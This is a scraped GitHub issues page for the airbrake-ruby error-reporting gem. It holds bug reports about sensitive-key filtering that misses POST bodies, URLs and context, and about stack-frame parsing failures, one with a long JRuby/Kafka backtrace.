Git Product home page Git Product logo

airbrake-ruby's People

Contributors

a2ikm avatar aburgel avatar akicho8 avatar beeplogic avatar bobes avatar brianhawley avatar chewi avatar dependabot-preview[bot] avatar equivalent avatar grosser avatar javierav avatar krisdigital avatar kuboon avatar kyrylo avatar mmcdaris avatar nalabjp avatar rhymes avatar sawanoboly avatar sgray avatar shifi avatar stuartmoore1023 avatar svenwin avatar tnir avatar vikke avatar zefer avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

airbrake-ruby's Issues

blacklist_keys does not remove sensitive information from post bodies

When configuring the blacklist_keys setting to include things like password, these keys are successfully redacted in parameters that are passed along, however, this information remains in the original post body that may be passed along. Given that the point of this is to sanitize sensitive information, this information should be removed from there too.

The original URL needs to be sanitized as well.

Context keys are not filtered

Configuring with c.blacklist_keys = [/password/i, 'email', 'name'] doesn't filter user's email and name. Airbrake::Rack::NoticeBuilder pulls the values from Warden and adds them to context.

I noticed :context is not part of Airbrake::Filters::FILTERABLE_KEYS https://github.com/airbrake/airbrake-ruby/blob/master/lib/airbrake-ruby/filters.rb#L8

I'm guessing I can work around the problem by writing a custom filter, but would be nice if the blacklist applied to :context.

"can't parse '#{stackframe}' (please file an issue so we can fix " \

I got this particular error which led me here, I am filing an issue because the code asked to!

I ended up finding the error that broke airbrake, working in CoffeeScript with better errors that error kept popping up.

I found the problem, my JS tendencies had popped up and I had assigned var x = [] instead of x = [], causing this error to pop up.

Thanks!

Found parsing error in my logs

E, [2016-12-13T20:33:16.736000 #29171] ERROR -- : can't parse 'uri_3a_classloader_3a_.gems.faye_minus_websocket_minus_0_dot_10_dot_5.lib.faye.websocket.api.invokeOther13:dispatch_event(uri_3a_classloader_3a_/gems/faye_minus_websocket_minus_0_dot_10_dot_5/lib/faye/websocket/uri:classloader:/gems/faye-websocket-0.10.5/lib/faye/websocket/api.rb:109)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)

Using JRuby 9.1.6.0 and version 1.6.0 of this gem.

Full trace:

364631234 [main] ERROR bay_event_forwarder.rb  - org.apache.kafka.common.errors.NotLeaderForPartitionException: This server is not the leader for that topic-partition.
Backtrace:
        org.apache.kafka.clients.producer.internals.FutureRecordMetadata.valueOrError(org/apache/kafka/clients/producer/internals/FutureRecordMetadata.java:65)
        org.apache.kafka.clients.producer.internals.FutureRecordMetadata.get(org/apache/kafka/clients/producer/internals/FutureRecordMetadata.java:60)
        org.apache.kafka.clients.producer.internals.FutureRecordMetadata.get(org/apache/kafka/clients/producer/internals/FutureRecordMetadata.java:25)
        java.lang.reflect.Method.invoke(java/lang/reflect/Method.java:498)
        org.jruby.javasupport.JavaMethod.invokeDirectWithExceptionHandling(org/jruby/javasupport/JavaMethod.java:468)
        org.jruby.javasupport.JavaMethod.invokeDirect(org/jruby/javasupport/JavaMethod.java:326)
        uri_3a_classloader_3a_.lib.sources.bay_event_forwarder.invokeOther13:get(uri_3a_classloader_3a_/lib/sources/uri:classloader:/lib/sources/bay_event_forwarder.rb:85)
        uri_3a_classloader_3a_.lib.sources.bay_event_forwarder.produce!(uri:classloader:/lib/sources/bay_event_forwarder.rb:85)
        uri_3a_classloader_3a_.lib.sources.bay_event_forwarder.invokeOther0:produce!(uri_3a_classloader_3a_/lib/sources/uri:classloader:/lib/sources/bay_event_forwarder.rb:192)
        uri_3a_classloader_3a_.lib.sources.bay_event_forwarder.block in setup_everything!(uri:classloader:/lib/sources/bay_event_forwarder.rb:192)
        org.jruby.RubyProc.call(org/jruby/RubyProc.java:324)
        org.jruby.RubyProc.call19(org/jruby/RubyProc.java:308)
        org.jruby.RubyProc$INVOKER$i$0$0$call19.call(org/jruby/RubyProc$INVOKER$i$0$0$call19.gen)
        uri_3a_classloader_3a_.lib.sdp.park_server.events.invokeOther46:call(uri_3a_classloader_3a_/lib/sdp/park_server/uri:classloader:/lib/sdp/park_server/events.rb:160)
        uri_3a_classloader_3a_.lib.sdp.park_server.events.process_faye_event_containing_park_server_event(uri:classloader:/lib/sdp/park_server/events.rb:160)
        uri_3a_classloader_3a_.lib.sdp.park_server.events.invokeOther16:process_faye_event_containing_park_server_event(uri_3a_classloader_3a_/lib/sdp/park_server/uri:classloader:/lib/sdp/park_server/events.rb:190)
        uri_3a_classloader_3a_.lib.sdp.park_server.events.handle_faye_event(uri:classloader:/lib/sdp/park_server/events.rb:190)
        uri_3a_classloader_3a_.lib.sdp.park_server.events.invokeOther23:handle_faye_event(uri_3a_classloader_3a_/lib/sdp/park_server/uri:classloader:/lib/sdp/park_server/events.rb:293)
        uri_3a_classloader_3a_.lib.sdp.park_server.events.block in consume(uri:classloader:/lib/sdp/park_server/events.rb:293)
        org.jruby.RubyProc.call(org/jruby/RubyProc.java:324)
        org.jruby.RubyProc.call19(org/jruby/RubyProc.java:308)
        org.jruby.RubyProc$INVOKER$i$0$0$call19.call(org/jruby/RubyProc$INVOKER$i$0$0$call19.gen)
        uri_3a_classloader_3a_.gems.websocket_minus_driver_minus_0_dot_6_dot_4_minus_java.lib.websocket.driver.event_emitter.invokeOther0:call(uri_3a_classloader_3a_/gems/websocket_minus_driver_minus_0_dot_6_dot_4_minus_java/lib/websocket/driver/uri:classloader:/gems/websocket-driver-0
.6.4-java/lib/websocket/driver/event_emitter.rb:39)
        uri_3a_classloader_3a_.gems.websocket_minus_driver_minus_0_dot_6_dot_4_minus_java.lib.websocket.driver.event_emitter.block in emit(uri:classloader:/gems/websocket-driver-0.6.4-java/lib/websocket/driver/event_emitter.rb:39)
        org.jruby.RubyArray.each(org/jruby/RubyArray.java:1734)
        org.jruby.RubyArray$INVOKER$i$0$0$each.call(org/jruby/RubyArray$INVOKER$i$0$0$each.gen)
        uri_3a_classloader_3a_.gems.websocket_minus_driver_minus_0_dot_6_dot_4_minus_java.lib.websocket.driver.event_emitter.invokeOther6:each(uri_3a_classloader_3a_/gems/websocket_minus_driver_minus_0_dot_6_dot_4_minus_java/lib/websocket/driver/uri:classloader:/gems/websocket-driver-0
.6.4-java/lib/websocket/driver/event_emitter.rb:38)
        uri_3a_classloader_3a_.gems.websocket_minus_driver_minus_0_dot_6_dot_4_minus_java.lib.websocket.driver.event_emitter.emit(uri:classloader:/gems/websocket-driver-0.6.4-java/lib/websocket/driver/event_emitter.rb:38)
        uri_3a_classloader_3a_.gems.faye_minus_websocket_minus_0_dot_10_dot_5.lib.faye.websocket.api.event_target.invokeOther33:emit(uri_3a_classloader_3a_/gems/faye_minus_websocket_minus_0_dot_10_dot_5/lib/faye/websocket/api/uri:classloader:/gems/faye-websocket-0.10.5/lib/faye/websock
et/api/event_target.rb:44)
        uri_3a_classloader_3a_.gems.faye_minus_websocket_minus_0_dot_10_dot_5.lib.faye.websocket.api.event_target.dispatch_event(uri:classloader:/gems/faye-websocket-0.10.5/lib/faye/websocket/api/event_target.rb:44)
        uri_3a_classloader_3a_.gems.faye_minus_websocket_minus_0_dot_10_dot_5.lib.faye.websocket.api.invokeOther13:dispatch_event(uri_3a_classloader_3a_/gems/faye_minus_websocket_minus_0_dot_10_dot_5/lib/faye/websocket/uri:classloader:/gems/faye-websocket-0.10.5/lib/faye/websocket/api.
rb:109)
        uri_3a_classloader_3a_.gems.faye_minus_websocket_minus_0_dot_10_dot_5.lib.faye.websocket.api.receive_message(uri:classloader:/gems/faye-websocket-0.10.5/lib/faye/websocket/api.rb:109)
        uri_3a_classloader_3a_.gems.faye_minus_websocket_minus_0_dot_10_dot_5.lib.faye.websocket.api.invokeOther6:receive_message(uri_3a_classloader_3a_/gems/faye_minus_websocket_minus_0_dot_10_dot_5/lib/faye/websocket/uri:classloader:/gems/faye-websocket-0.10.5/lib/faye/websocket/api.
rb:43)
        uri_3a_classloader_3a_.gems.faye_minus_websocket_minus_0_dot_10_dot_5.lib.faye.websocket.api.block in initialize(uri:classloader:/gems/faye-websocket-0.10.5/lib/faye/websocket/api.rb:43)
        org.jruby.RubyProc.call(org/jruby/RubyProc.java:324)
        org.jruby.RubyProc.call19(org/jruby/RubyProc.java:308)
        org.jruby.RubyProc$INVOKER$i$0$0$call19.call(org/jruby/RubyProc$INVOKER$i$0$0$call19.gen)
        uri_3a_classloader_3a_.gems.websocket_minus_driver_minus_0_dot_6_dot_4_minus_java.lib.websocket.driver.event_emitter.invokeOther0:call(uri_3a_classloader_3a_/gems/websocket_minus_driver_minus_0_dot_6_dot_4_minus_java/lib/websocket/driver/uri:classloader:/gems/websocket-driver-0
.6.4-java/lib/websocket/driver/event_emitter.rb:39)
        uri_3a_classloader_3a_.gems.websocket_minus_driver_minus_0_dot_6_dot_4_minus_java.lib.websocket.driver.event_emitter.block in emit(uri:classloader:/gems/websocket-driver-0.6.4-java/lib/websocket/driver/event_emitter.rb:39)
        org.jruby.RubyArray.each(org/jruby/RubyArray.java:1734)
        org.jruby.RubyArray$INVOKER$i$0$0$each.call(org/jruby/RubyArray$INVOKER$i$0$0$each.gen)
        uri_3a_classloader_3a_.gems.websocket_minus_driver_minus_0_dot_6_dot_4_minus_java.lib.websocket.driver.event_emitter.invokeOther6:each(uri_3a_classloader_3a_/gems/websocket_minus_driver_minus_0_dot_6_dot_4_minus_java/lib/websocket/driver/uri:classloader:/gems/websocket-driver-0
.6.4-java/lib/websocket/driver/event_emitter.rb:38)
        uri_3a_classloader_3a_.gems.websocket_minus_driver_minus_0_dot_6_dot_4_minus_java.lib.websocket.driver.event_emitter.emit(uri:classloader:/gems/websocket-driver-0.6.4-java/lib/websocket/driver/event_emitter.rb:38)
        uri_3a_classloader_3a_.gems.websocket_minus_driver_minus_0_dot_6_dot_4_minus_java.lib.websocket.driver.hybi.invokeOther38:emit(uri_3a_classloader_3a_/gems/websocket_minus_driver_minus_0_dot_6_dot_4_minus_java/lib/websocket/driver/uri:classloader:/gems/websocket-driver-0.6.4-jav
a/lib/websocket/driver/hybi.rb:396)
        uri_3a_classloader_3a_.gems.websocket_minus_driver_minus_0_dot_6_dot_4_minus_java.lib.websocket.driver.hybi.emit_message(uri:classloader:/gems/websocket-driver-0.6.4-java/lib/websocket/driver/hybi.rb:396)
        uri_3a_classloader_3a_.gems.websocket_minus_driver_minus_0_dot_6_dot_4_minus_java.lib.websocket.driver.hybi.invokeOther102:emit_message(uri_3a_classloader_3a_/gems/websocket_minus_driver_minus_0_dot_6_dot_4_minus_java/lib/websocket/driver/uri:classloader:/gems/websocket-driver-
0.6.4-java/lib/websocket/driver/hybi.rb:379)
        uri_3a_classloader_3a_.gems.websocket_minus_driver_minus_0_dot_6_dot_4_minus_java.lib.websocket.driver.hybi.emit_frame(uri:classloader:/gems/websocket-driver-0.6.4-java/lib/websocket/driver/hybi.rb:379)
        uri_3a_classloader_3a_.gems.websocket_minus_driver_minus_0_dot_6_dot_4_minus_java.lib.websocket.driver.hybi.invokeOther18:emit_frame(uri_3a_classloader_3a_/gems/websocket_minus_driver_minus_0_dot_6_dot_4_minus_java/lib/websocket/driver/uri:classloader:/gems/websocket-driver-0.6
.4-java/lib/websocket/driver/hybi.rb:123)
        uri_3a_classloader_3a_.gems.websocket_minus_driver_minus_0_dot_6_dot_4_minus_java.lib.websocket.driver.hybi.parse(uri:classloader:/gems/websocket-driver-0.6.4-java/lib/websocket/driver/hybi.rb:123)
        uri_3a_classloader_3a_.gems.websocket_minus_driver_minus_0_dot_6_dot_4_minus_java.lib.websocket.driver.client.invokeSuper24:parse(uri_3a_classloader_3a_/gems/websocket_minus_driver_minus_0_dot_6_dot_4_minus_java/lib/websocket/driver/uri:classloader:/gems/websocket-driver-0.6.4-java/lib/websocket/driver/client.rb:63)
        uri_3a_classloader_3a_.gems.websocket_minus_driver_minus_0_dot_6_dot_4_minus_java.lib.websocket.driver.client.parse(uri:classloader:/gems/websocket-driver-0.6.4-java/lib/websocket/driver/client.rb:63)
        uri_3a_classloader_3a_.gems.faye_minus_websocket_minus_0_dot_10_dot_5.lib.faye.websocket.api.invokeOther5:parse(uri_3a_classloader_3a_/gems/faye_minus_websocket_minus_0_dot_10_dot_5/lib/faye/websocket/uri:classloader:/gems/faye-websocket-0.10.5/lib/faye/websocket/api.rb:148)
        uri_3a_classloader_3a_.gems.faye_minus_websocket_minus_0_dot_10_dot_5.lib.faye.websocket.api.parse(uri:classloader:/gems/faye-websocket-0.10.5/lib/faye/websocket/api.rb:148)
        org.jruby.RubyClass.finvoke(org/jruby/RubyClass.java:531)

        org.jruby.RubyBasicObject.send19(org/jruby/RubyBasicObject.java:1668)
        org.jruby.RubyBasicObject$INVOKER$i$send19.call(org/jruby/RubyBasicObject$INVOKER$i$send19.gen)
        uri_3a_classloader_3a_.gems.faye_minus_websocket_minus_0_dot_10_dot_5.lib.faye.websocket.client.invokeOther5:__send__(uri_3a_classloader_3a_/gems/faye_minus_websocket_minus_0_dot_10_dot_5/lib/faye/websocket/uri:classloader:/gems/faye-websocket-0.10.5/lib/faye/websocket/client.rb:80)
        uri_3a_classloader_3a_.gems.faye_minus_websocket_minus_0_dot_10_dot_5.lib.faye.websocket.client.receive_data(uri:classloader:/gems/faye-websocket-0.10.5/lib/faye/websocket/client.rb:80)
        uri_3a_classloader_3a_.gems.eventmachine_minus_1_dot_2_dot_1_minus_java.lib.eventmachine.invokeOther155:receive_data(uri_3a_classloader_3a_/gems/eventmachine_minus_1_dot_2_dot_1_minus_java/lib/uri:classloader:/gems/eventmachine-1.2.1-java/lib/eventmachine.rb:1537)
        uri_3a_classloader_3a_.gems.eventmachine_minus_1_dot_2_dot_1_minus_java.lib.eventmachine.event_callback(uri:classloader:/gems/eventmachine-1.2.1-java/lib/eventmachine.rb:1537)
        uri_3a_classloader_3a_.gems.eventmachine_minus_1_dot_2_dot_1_minus_java.lib.jeventmachine.invokeOther5:event_callback(uri_3a_classloader_3a_/gems/eventmachine_minus_1_dot_2_dot_1_minus_java/lib/uri:classloader:/gems/eventmachine-1.2.1-java/lib/jeventmachine.rb:94)
        uri_3a_classloader_3a_.gems.eventmachine_minus_1_dot_2_dot_1_minus_java.lib.jeventmachine.eventCallback(uri:classloader:/gems/eventmachine-1.2.1-java/lib/jeventmachine.rb:94)
        org.jruby.javasupport.proxy.JavaProxyConstructor$MethodInvocationHandler.invokeRuby(org/jruby/javasupport/proxy/JavaProxyConstructor.java:255)
        org.jruby.javasupport.proxy.JavaProxyConstructor$MethodInvocationHandler.invoke(org/jruby/javasupport/proxy/JavaProxyConstructor.java:238)
        org.jruby.proxy.com.rubyeventmachine.EmReactor$Proxy1.eventCallback(org/jruby/proxy/com/rubyeventmachine/EmReactor$Proxy1)
        com.rubyeventmachine.EmReactor.eventCallback(com/rubyeventmachine/EmReactor.java:89)
        org.jruby.proxy.com.rubyeventmachine.EmReactor$Proxy1.__super$eventCallback(org/jruby/proxy/com/rubyeventmachine/EmReactor$Proxy1)
        java.lang.reflect.Method.invoke(java/lang/reflect/Method.java:498)
        org.jruby.javasupport.JavaMethod.invokeDirectSuperWithExceptionHandling(org/jruby/javasupport/JavaMethod.java:408)
        org.jruby.javasupport.JavaMethod.tryProxyInvocation(org/jruby/javasupport/JavaMethod.java:611)
        org.jruby.javasupport.JavaMethod.invokeDirect(org/jruby/javasupport/JavaMethod.java:287)
        org.jruby.RubyClass.finvoke(org/jruby/RubyClass.java:522)
        org.jruby.javasupport.proxy.JavaProxyConstructor$MethodInvocationHandler.invokeRuby(org/jruby/javasupport/proxy/JavaProxyConstructor.java:260)
        org.jruby.javasupport.proxy.JavaProxyConstructor$MethodInvocationHandler.invoke(org/jruby/javasupport/proxy/JavaProxyConstructor.java:238)
        org.jruby.proxy.com.rubyeventmachine.EmReactor$Proxy1.eventCallback(org/jruby/proxy/com/rubyeventmachine/EmReactor$Proxy1)
        com.rubyeventmachine.EmReactor.isReadable(com/rubyeventmachine/EmReactor.java:259)
        com.rubyeventmachine.EmReactor.processIO(com/rubyeventmachine/EmReactor.java:204)
        com.rubyeventmachine.EmReactor.run(com/rubyeventmachine/EmReactor.java:111)
        java.lang.reflect.Method.invoke(java/lang/reflect/Method.java:498)
        org.jruby.javasupport.JavaMethod.invokeDirectWithExceptionHandling(org/jruby/javasupport/JavaMethod.java:438)
        org.jruby.javasupport.JavaMethod.tryProxyInvocation(org/jruby/javasupport/JavaMethod.java:623)
        org.jruby.javasupport.JavaMethod.invokeDirect(org/jruby/javasupport/JavaMethod.java:299)
        RUBY.run_machine(uri:classloader:/gems/eventmachine-1.2.1-java/lib/jeventmachine.rb:113)
        RUBY.run(uri:classloader:/gems/eventmachine-1.2.1-java/lib/eventmachine.rb:194)
        bin.sources.bay_event_forwarder.invokeOther35:run(bin/sources/bay_event_forwarder.rb:28)
        bin.sources.bay_event_forwarder.start!(bin/sources/bay_event_forwarder.rb:28)
        bin.sources.bay_event_forwarder.invokeOther49:start!(bin/sources/bay_event_forwarder.rb:51)
        bin.sources.bay_event_forwarder.<main>(bin/sources/bay_event_forwarder.rb:51)
        java.lang.invoke.MethodHandle.invokeWithArguments(java/lang/invoke/MethodHandle.java:627)
        org.jruby.Ruby.runScript(org/jruby/Ruby.java:846)
        org.jruby.Ruby.runNormally(org/jruby/Ruby.java:761)
        org.jruby.Ruby.runNormally(org/jruby/Ruby.java:779)
        org.jruby.Ruby.runFromMain(org/jruby/Ruby.java:592)
        org.jruby.Main.doRunFromMain(org/jruby/Main.java:425)
        org.jruby.Main.internalRun(org/jruby/Main.java:313)
        org.jruby.Main.run(org/jruby/Main.java:242)
        org.jruby.mains.JRubyMain.run(org/jruby/mains/JRubyMain.java:108)
        org.jruby.mains.JRubyMain.main(org/jruby/mains/JRubyMain.java:39)
        org.jruby.mains.JarMain.main(org/jruby/mains/JarMain.java:6)
java.util.concurrent.ExecutionException: org.apache.kafka.common.errors.NotLeaderForPartitionException: This server is not the leader for that topic-partition.
        at org.apache.kafka.clients.producer.internals.FutureRecordMetadata.valueOrError(org/apache/kafka/clients/producer/internals/FutureRecordMetadata.java:65)
        at org.apache.kafka.clients.producer.internals.FutureRecordMetadata.get(org/apache/kafka/clients/producer/internals/FutureRecordMetadata.java:60)
        at org.apache.kafka.clients.producer.internals.FutureRecordMetadata.get(org/apache/kafka/clients/producer/internals/FutureRecordMetadata.java:25)
        at java.lang.reflect.Method.invoke(java/lang/reflect/Method.java:498)
        at org.jruby.javasupport.JavaMethod.invokeDirectWithExceptionHandling(org/jruby/javasupport/JavaMethod.java:468)
        at org.jruby.javasupport.JavaMethod.invokeDirect(org/jruby/javasupport/JavaMethod.java:326)
        at uri_3a_classloader_3a_.lib.sources.bay_event_forwarder.invokeOther13:get(uri_3a_classloader_3a_/lib/sources/uri:classloader:/lib/sources/bay_event_forwarder.rb:85)
        at uri_3a_classloader_3a_.lib.sources.bay_event_forwarder.produce!(uri:classloader:/lib/sources/bay_event_forwarder.rb:85)
        at uri_3a_classloader_3a_.lib.sources.bay_event_forwarder.invokeOther0:produce!(uri_3a_classloader_3a_/lib/sources/uri:classloader:/lib/sources/bay_event_forwarder.rb:192)
        at uri_3a_classloader_3a_.lib.sources.bay_event_forwarder.block in setup_everything!(uri:classloader:/lib/sources/bay_event_forwarder.rb:192)
        at org.jruby.RubyProc.call(org/jruby/RubyProc.java:324)
        at org.jruby.RubyProc.call19(org/jruby/RubyProc.java:308)
        at org.jruby.RubyProc$INVOKER$i$0$0$call19.call(org/jruby/RubyProc$INVOKER$i$0$0$call19.gen)
        at uri_3a_classloader_3a_.lib.sdp.park_server.events.invokeOther46:call(uri_3a_classloader_3a_/lib/sdp/park_server/uri:classloader:/lib/sdp/park_server/events.rb:160)
        at uri_3a_classloader_3a_.lib.sdp.park_server.events.process_faye_event_containing_park_server_event(uri:classloader:/lib/sdp/park_server/events.rb:160)
        at uri_3a_classloader_3a_.lib.sdp.park_server.events.invokeOther16:process_faye_event_containing_park_server_event(uri_3a_classloader_3a_/lib/sdp/park_server/uri:classloader:/lib/sdp/park_server/events.rb:190)
        at uri_3a_classloader_3a_.lib.sdp.park_server.events.handle_faye_event(uri:classloader:/lib/sdp/park_server/events.rb:190)
        at uri_3a_classloader_3a_.lib.sdp.park_server.events.invokeOther23:handle_faye_event(uri_3a_classloader_3a_/lib/sdp/park_server/uri:classloader:/lib/sdp/park_server/events.rb:293)
        at uri_3a_classloader_3a_.lib.sdp.park_server.events.block in consume(uri:classloader:/lib/sdp/park_server/events.rb:293)
        at org.jruby.RubyProc.call(org/jruby/RubyProc.java:324)

        at org.jruby.RubyProc.call19(org/jruby/RubyProc.java:308)
        at org.jruby.RubyProc$INVOKER$i$0$0$call19.call(org/jruby/RubyProc$INVOKER$i$0$0$call19.gen)
        at uri_3a_classloader_3a_.gems.websocket_minus_driver_minus_0_dot_6_dot_4_minus_java.lib.websocket.driver.event_emitter.invokeOther0:call(uri_3a_classloader_3a_/gems/websocket_minus_driver_minus_0_dot_6_dot_4_minus_java/lib/websocket/driver/uri:classloader:/gems/websocket-driver-0.6.4-java/lib/websocket/driver/event_emitter.rb:39)
        at uri_3a_classloader_3a_.gems.websocket_minus_driver_minus_0_dot_6_dot_4_minus_java.lib.websocket.driver.event_emitter.block in emit(uri:classloader:/gems/websocket-driver-0.6.4-java/lib/websocket/driver/event_emitter.rb:39)
        at org.jruby.RubyArray.each(org/jruby/RubyArray.java:1734)
        at org.jruby.RubyArray$INVOKER$i$0$0$each.call(org/jruby/RubyArray$INVOKER$i$0$0$each.gen)
        at uri_3a_classloader_3a_.gems.websocket_minus_driver_minus_0_dot_6_dot_4_minus_java.lib.websocket.driver.event_emitter.invokeOther6:each(uri_3a_classloader_3a_/gems/websocket_minus_driver_minus_0_dot_6_dot_4_minus_java/lib/websocket/driver/uri:classloader:/gems/websocket-driver-0.6.4-java/lib/websocket/driver/event_emitter.rb:38)
        at uri_3a_classloader_3a_.gems.websocket_minus_driver_minus_0_dot_6_dot_4_minus_java.lib.websocket.driver.event_emitter.emit(uri:classloader:/gems/websocket-driver-0.6.4-java/lib/websocket/driver/event_emitter.rb:38)
        at uri_3a_classloader_3a_.gems.faye_minus_websocket_minus_0_dot_10_dot_5.lib.faye.websocket.api.event_target.invokeOther33:emit(uri_3a_classloader_3a_/gems/faye_minus_websocket_minus_0_dot_10_dot_5/lib/faye/websocket/api/uri:classloader:/gems/faye-websocket-0.10.5/lib/faye/websocket/api/event_target.rb:44)
        at uri_3a_classloader_3a_.gems.faye_minus_websocket_minus_0_dot_10_dot_5.lib.faye.websocket.api.event_target.dispatch_event(uri:classloader:/gems/faye-websocket-0.10.5/lib/faye/websocket/api/event_target.rb:44)
        at uri_3a_classloader_3a_.gems.faye_minus_websocket_minus_0_dot_10_dot_5.lib.faye.websocket.api.invokeOther13:dispatch_event(uri_3a_classloader_3a_/gems/faye_minus_websocket_minus_0_dot_10_dot_5/lib/faye/websocket/uri:classloader:/gems/faye-websocket-0.10.5/lib/faye/websocket/api.rb:109)
        at uri_3a_classloader_3a_.gems.faye_minus_websocket_minus_0_dot_10_dot_5.lib.faye.websocket.api.receive_message(uri:classloader:/gems/faye-websocket-0.10.5/lib/faye/websocket/api.rb:109)
        at uri_3a_classloader_3a_.gems.faye_minus_websocket_minus_0_dot_10_dot_5.lib.faye.websocket.api.invokeOther6:receive_message(uri_3a_classloader_3a_/gems/faye_minus_websocket_minus_0_dot_10_dot_5/lib/faye/websocket/uri:classloader:/gems/faye-websocket-0.10.5/lib/faye/websocket/api.rb:43)
        at uri_3a_classloader_3a_.gems.faye_minus_websocket_minus_0_dot_10_dot_5.lib.faye.websocket.api.block in initialize(uri:classloader:/gems/faye-websocket-0.10.5/lib/faye/websocket/api.rb:43)
        at org.jruby.RubyProc.call(org/jruby/RubyProc.java:324)
        at org.jruby.RubyProc.call19(org/jruby/RubyProc.java:308)
        at org.jruby.RubyProc$INVOKER$i$0$0$call19.call(org/jruby/RubyProc$INVOKER$i$0$0$call19.gen)
        at uri_3a_classloader_3a_.gems.websocket_minus_driver_minus_0_dot_6_dot_4_minus_java.lib.websocket.driver.event_emitter.invokeOther0:call(uri_3a_classloader_3a_/gems/websocket_minus_driver_minus_0_dot_6_dot_4_minus_java/lib/websocket/driver/uri:classloader:/gems/websocket-driver-0.6.4-java/lib/websocket/driver/event_emitter.rb:39)
        at uri_3a_classloader_3a_.gems.websocket_minus_driver_minus_0_dot_6_dot_4_minus_java.lib.websocket.driver.event_emitter.block in emit(uri:classloader:/gems/websocket-driver-0.6.4-java/lib/websocket/driver/event_emitter.rb:39)
        at org.jruby.RubyArray.each(org/jruby/RubyArray.java:1734)
        at org.jruby.RubyArray$INVOKER$i$0$0$each.call(org/jruby/RubyArray$INVOKER$i$0$0$each.gen)
        at uri_3a_classloader_3a_.gems.websocket_minus_driver_minus_0_dot_6_dot_4_minus_java.lib.websocket.driver.event_emitter.invokeOther6:each(uri_3a_classloader_3a_/gems/websocket_minus_driver_minus_0_dot_6_dot_4_minus_java/lib/websocket/driver/uri:classloader:/gems/websocket-driver-0.6.4-java/lib/websocket/driver/event_emitter.rb:38)
        at uri_3a_classloader_3a_.gems.websocket_minus_driver_minus_0_dot_6_dot_4_minus_java.lib.websocket.driver.event_emitter.emit(uri:classloader:/gems/websocket-driver-0.6.4-java/lib/websocket/driver/event_emitter.rb:38)
        at uri_3a_classloader_3a_.gems.websocket_minus_driver_minus_0_dot_6_dot_4_minus_java.lib.websocket.driver.hybi.invokeOther38:emit(uri_3a_classloader_3a_/gems/websocket_minus_driver_minus_0_dot_6_dot_4_minus_java/lib/websocket/driver/uri:classloader:/gems/websocket-driver-0.6.4-java/lib/websocket/driver/hybi.rb:396)
        at uri_3a_classloader_3a_.gems.websocket_minus_driver_minus_0_dot_6_dot_4_minus_java.lib.websocket.driver.hybi.emit_message(uri:classloader:/gems/websocket-driver-0.6.4-java/lib/websocket/driver/hybi.rb:396)
        at uri_3a_classloader_3a_.gems.websocket_minus_driver_minus_0_dot_6_dot_4_minus_java.lib.websocket.driver.hybi.invokeOther102:emit_message(uri_3a_classloader_3a_/gems/websocket_minus_driver_minus_0_dot_6_dot_4_minus_java/lib/websocket/driver/uri:classloader:/gems/websocket-driver-0.6.4-java/lib/websocket/driver/hybi.rb:379)
        at uri_3a_classloader_3a_.gems.websocket_minus_driver_minus_0_dot_6_dot_4_minus_java.lib.websocket.driver.hybi.emit_frame(uri:classloader:/gems/websocket-driver-0.6.4-java/lib/websocket/driver/hybi.rb:379)
        at uri_3a_classloader_3a_.gems.websocket_minus_driver_minus_0_dot_6_dot_4_minus_java.lib.websocket.driver.hybi.invokeOther18:emit_frame(uri_3a_classloader_3a_/gems/websocket_minus_driver_minus_0_dot_6_dot_4_minus_java/lib/websocket/driver/uri:classloader:/gems/websocket-driver-0.6.4-java/lib/websocket/driver/hybi.rb:123)
        at uri_3a_classloader_3a_.gems.websocket_minus_driver_minus_0_dot_6_dot_4_minus_java.lib.websocket.driver.hybi.parse(uri:classloader:/gems/websocket-driver-0.6.4-java/lib/websocket/driver/hybi.rb:123)
        at uri_3a_classloader_3a_.gems.websocket_minus_driver_minus_0_dot_6_dot_4_minus_java.lib.websocket.driver.client.invokeSuper24:parse(uri_3a_classloader_3a_/gems/websocket_minus_driver_minus_0_dot_6_dot_4_minus_java/lib/websocket/driver/uri:classloader:/gems/websocket-driver-0.6.4-java/lib/websocket/driver/client.rb:63)
        at uri_3a_classloader_3a_.gems.websocket_minus_driver_minus_0_dot_6_dot_4_minus_java.lib.websocket.driver.client.parse(uri:classloader:/gems/websocket-driver-0.6.4-java/lib/websocket/driver/client.rb:63)
        at uri_3a_classloader_3a_.gems.faye_minus_websocket_minus_0_dot_10_dot_5.lib.faye.websocket.api.invokeOther5:parse(uri_3a_classloader_3a_/gems/faye_minus_websocket_minus_0_dot_10_dot_5/lib/faye/websocket/uri:classloader:/gems/faye-websocket-0.10.5/lib/faye/websocket/api.rb:148)
        at uri_3a_classloader_3a_.gems.faye_minus_websocket_minus_0_dot_10_dot_5.lib.faye.websocket.api.parse(uri:classloader:/gems/faye-websocket-0.10.5/lib/faye/websocket/api.rb:148)
        at org.jruby.RubyClass.finvoke(org/jruby/RubyClass.java:531)
        at org.jruby.RubyBasicObject.send19(org/jruby/RubyBasicObject.java:1668)
        at org.jruby.RubyBasicObject$INVOKER$i$send19.call(org/jruby/RubyBasicObject$INVOKER$i$send19.gen)
        at uri_3a_classloader_3a_.gems.faye_minus_websocket_minus_0_dot_10_dot_5.lib.faye.websocket.client.invokeOther5:__send__(uri_3a_classloader_3a_/gems/faye_minus_websocket_minus_0_dot_10_dot_5/lib/faye/websocket/uri:classloader:/gems/faye-websocket-0.10.5/lib/faye/websocket/client.rb:80)
        at uri_3a_classloader_3a_.gems.faye_minus_websocket_minus_0_dot_10_dot_5.lib.faye.websocket.client.receive_data(uri:classloader:/gems/faye-websocket-0.10.5/lib/faye/websocket/client.rb:80)
